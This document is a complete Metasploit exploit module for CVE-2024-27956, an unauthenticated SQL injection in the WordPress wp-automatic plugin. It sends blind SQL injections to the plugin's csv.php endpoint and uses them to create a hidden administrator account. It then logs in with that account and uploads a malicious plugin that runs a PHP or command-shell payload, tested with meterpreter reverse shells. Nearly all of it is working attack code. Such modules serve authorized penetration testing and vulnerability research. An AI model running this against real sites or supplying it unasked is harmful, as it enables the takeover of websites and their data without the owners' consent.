WordPress WP-Automatic SQL Injection

##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##

class SQLExecutionError < RuntimeError; end

class MetasploitModule < Msf::Exploit::Remote
Rank = ExcellentRanking

include Msf::Payload::Php
include Msf::Exploit::FileDropper
include Msf::Exploit::Remote::HttpClient
include Msf::Exploit::Remote::HTTP::Wordpress
include Msf::Exploit::Remote::HTTP::Wordpress::SQLi

prepend Msf::Exploit::Remote::AutoCheck

def initialize(info = {})
super(
update_info(
info,
‘Name’ => ‘WordPress wp-automatic Plugin SQLi Admin Creation’,
‘Description’ => %q{
This module exploits an unauthenticated SQL injection vulnerability in the WordPress wp-automatic plugin (versions < 3.92.1)
to achieve remote code execution (RCE). The vulnerability allows the attacker to inject and execute arbitrary SQL commands,
which can be used to create a malicious administrator account. The password for the new account is hashed using MD5.
Once the administrator account is created, the attacker can upload and execute a malicious plugin, leading to full control
over the WordPress site.
},
‘Author’ => [
‘Rafie Muhammad’, # Vulnerability discovery
‘Valentin Lobstein’ # Metasploit module
],
‘License’ => MSF_LICENSE,
‘References’ => [
[‘CVE’, ‘2024-27956’],
[‘WPVDB’, ’53a51e79-a216-4ca3-ac2d-57098fd2ebb5′],
[‘URL’, ‘https://www.wordfence.com/threat-intel/vulnerabilities/wordpress-plugins/wp-automatic/automatic-3920-unauthenticated-sql-injection’],
[‘URL’, ‘https://patchstack.com/articles/critical-vulnerabilities-patched-in-wordpress-automatic-plugin/’]],
‘Platform’ => %w[php unix linux win],
‘Arch’ => [ARCH_PHP, ARCH_CMD],
‘DisclosureDate’ => ‘2024-03-13’,
‘DefaultTarget’ => 0,
‘Privileged’ => false,
‘Targets’ => [
[
‘PHP In-Memory’,
{
‘Platform’ => ‘php’,
‘Arch’ => ARCH_PHP
# tested with php/meterpreter/reverse_tcp
}
],
[
‘Unix/Linux Command Shell’,
{
‘Platform’ => %w[unix linux],
‘Arch’ => ARCH_CMD
# tested with cmd/linux/http/x64/meterpreter/reverse_tcp
}
],
[
‘Windows Command Shell’,
{
‘Platform’ => ‘win’,
‘Arch’ => ARCH_CMD
# tested with cmd/windows/http/x64/meterpreter/reverse_tcp
}
]],
‘Notes’ => {
‘Stability’ => [CRASH_SAFE],
‘Reliability’ => [REPEATABLE_SESSION],
‘SideEffects’ => [IOC_IN_LOGS, ARTIFACTS_ON_DISK]}
)
)

register_options(
[
OptString.new(‘USERNAME’, [false, ‘Username to create’, Faker::Internet.username]),
OptString.new(‘PASSWORD’, [false, ‘Password for the new user’, Faker::Internet.password(min_length: 8)]),
OptString.new(‘EMAIL’, [false, ‘Email for the new user’, Faker::Internet.email])
])
end

def create_sqli_instance
@sqli = create_sqli(dbms: MySQLi::TimeBasedBlind, opts: { hex_encode_strings: true }) do |payload|
execute_sql_query(payload)
end
end

def execute_sql_query(query)
formatted_query = query.strip.upcase.start_with?(‘INSERT’) ? query : “SELECT (#{query})”
response = send_request_cgi({
‘uri’ => normalize_uri(target_uri.path, ‘wp-content’, ‘plugins’, ‘wp-automatic’, ‘inc’, ‘csv.php’),
‘method’ => ‘POST’,
‘vars_post’ => {
‘q’ => formatted_query,
‘auth’ => “\0”,
‘integ’ => Rex::Text.md5(formatted_query)
}
})

raise SQLExecutionError, “Failed to execute SQL query: #{query}” unless response

response
end

def upload_and_execute_payload(admin_cookie)
plugin_name = Faker::App.name.gsub(/\s+/, ”).downcase
payload_name = Faker::Hacker.noun.gsub(/\s+/, ”).downcase

payload_uri = normalize_uri(wordpress_url_plugins, plugin_name, “#{payload_name}.php”)
zip = generate_plugin(plugin_name, payload_name)

print_status(‘Uploading payload…’)

uploaded = wordpress_upload_plugin(plugin_name, zip.pack, admin_cookie)
fail_with(Failure::UnexpectedReply, ‘Failed to upload the payload’) unless uploaded

print_status(“Executing the payload at #{payload_uri}…”)

register_files_for_cleanup(“#{payload_name}.php”, “#{plugin_name}.php”)
register_dir_for_cleanup(“../#{plugin_name}”)
send_request_cgi({
‘uri’ => payload_uri,
‘method’ => ‘GET’
})
end

def exploit
create_sqli_instance
wordpress_sqli_initialize(@sqli)

begin
username = datastore[‘USERNAME’]password = datastore[‘PASSWORD’]email = datastore[‘EMAIL’]

wordpress_sqli_create_user(username, password, email)
wordpress_sqli_grant_admin_privileges(username)
admin_cookie = wordpress_login(username, password)

fail_with(Failure::UnexpectedReply, ‘Failed to log in to WordPress admin.’) unless admin_cookie

upload_and_execute_payload(admin_cookie)
rescue SQLExecutionError => e
fail_with(Failure::UnexpectedReply, e.message)
end
end

def check
return CheckCode::Unknown unless wordpress_and_online?

print_status(‘Attempting SQLi test to verify vulnerability…’)

create_sqli_instance

begin
if @sqli.test_vulnerable
CheckCode::Vulnerable(‘Target is vulnerable to SQLi!’)
else
CheckCode::Safe(‘Target is not vulnerable or the SQLi test failed.’)
end
rescue SQLExecutionError => e
print_error(e.message)
CheckCode::Unknown(‘Failed to verify SQLi vulnerability due to an error.’)
end
end
end